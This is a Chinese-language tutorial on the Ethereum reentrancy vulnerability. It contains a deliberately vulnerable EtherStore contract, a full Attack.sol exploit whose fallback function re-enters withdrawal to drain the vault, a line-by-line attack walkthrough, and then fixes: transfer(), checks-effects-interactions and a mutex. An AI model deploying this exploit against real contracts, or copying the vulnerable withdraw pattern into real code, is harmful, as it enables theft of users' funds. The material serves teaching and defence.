重入漏洞说明
以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作(以太坊的合约账户拥有外部账户同样的功能,只是外部账户由持有该账户私钥的用户控制,合约账户由合约代码控制,外部账户不包含合约代码)。
向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”。
利用“重入漏洞”执行的攻击方式被用于臭名昭著的DAO攻击中。
漏洞介绍
当以太坊智能合约将Ether发送给未知地址(地址来源于输入或是调用者)时,可能会发生此攻击。
攻击者可以在地址对应合约的Fallback函数中,构建一段恶意代码。当易受攻击的合约将Ether发送给攻击者构建的恶意合约地址时,将执行Fallback函数,执行恶意代码。恶意代码可以是重新进入易受攻击的合约的相关代码,这样攻击者可以重新进入易受攻击合约,执行一些开发人员不希望执行的合约逻辑。
攻击演示
考虑简单易受伤害的合约EtherStore,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。
EtherStore.sol:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能: depositFunds()
和 withdrawFunds()
。
-
depositFunds()
功能是增加发件人余额 -
withdrawFunds()
功能允许发件人指定要撤回的wei的数量,并且如果所要求的退出金额小于1Ether并且在之前一周没有发生撤回操作,它才会成功。
但是,当恶意攻击者,使用“重入漏洞”对合约进行攻击时,将不会按照合约创建者希望的逻辑进行执行。
漏洞出现在第17行代码:
require(msg.sender.call.value(_weiToWithdraw)());
考虑下面这个恶意攻击者创建的攻击合约Attack.sol,攻击者可以利用攻击合约不按照规则进行Ether的提取撤回。
Attack.sol:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
假设EtherStore.sol的合约地址是:0x0...01;Attack.sol的合约地址是:0x0...02;
假设EtherStore.sol合约已经有用户使用过,并且将若干Ether存入了合约,并还没有进行撤回提取,将设当前合约的Ether余额是100ether。
攻击过程如下:
- 攻击者创建攻击合约,并执行构造函数,传入参数是以太坊保险库合约EtherStore对应的合约地址:0x0...01;
- 攻击者调用合约Attack(0x0...02),并存入若干Ether(大于1ether);
- 攻击者调用合约Attack(0x0...02)的
pwnEtherStore()
方法; - Attack.sol - Line[15] :恶意合约调用易受攻击合约的
depositFunds
方法,并转入1ether; - EtherStore.sol - Line[8] :易受攻击合约中
balances["0x0...02"] = 1 ether
; - Attack.sol - Line[17] :恶意合约调用易受攻击合约的
withdrawFunds()
方法,撤回提取1ether; - EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,将会全部通过(余额大于1,且在之前的一周没有执行过撤回提取操作);
- EtherStore.sol - Line[17] :易受攻击合约执行第17行代码,像攻击合约地址转账1ether,由于转账地址是合约账户,将会执行对应合约的fallback函数;
- Attack.sol - Line[26-28] :攻击合约的fallback函数执行,检查易受攻击合约的余额(当前余额是101ether),检查通过后,继续调用
withdrawFunds()
方法,撤回提取1ether,重新进入易受攻击合约,此时易受攻击合约的第17行代码后的代码全部没有执行完成; - EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,由于此前的调用并没有执行18行和19行代码,因此,
balances["0x0...02"] = 1 ether
且lastWithdrawTime["0x0...02"] = 0
,验证将通过; - EtherStore.sol - Line[17] :易受攻击合约将再次执行第17行代码,像攻击合约地址转账1ether;
- 此后将重复6-11步,直到将易受攻击合约的余额(101ether)全部转账给攻击合约地址(Attack.sol合约的第26行为false);
- EtherStore.sol - Line[18-19] :执行,设置
balances
和lastWithdrawTime
,并结束合约调用。
最终的结果是,攻击者只用一笔交易,便立即从 EtherStore 合约中取出了(除去 1 个 Ether 以外)所有的 Ether。
漏洞预防
有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。这里提供三种预防技巧:
-
在将 Ether 发送给外部合约时使用内置的
transfer() 函数
。transfer转账功能只发送2300 gas
不足以使目的地址/合约调用另一份合约(即重入发送合约)。 -
确保所有改变状态变量的逻辑发生在 Ether 被发送出合约(或任何外部调用)之前。在这个 EtherStore 例子中,EtherStore.sol - Line[18-19] 应放在 Line[17] 之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。
-
引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
预防演示
给 EtherStore.sol 应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
真实漏洞利用案例
The DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了 Ethereum Classic(ETC)的分叉。有关The DAO 漏洞的详细分析,请参阅 Phil Daian 的文章。
网友评论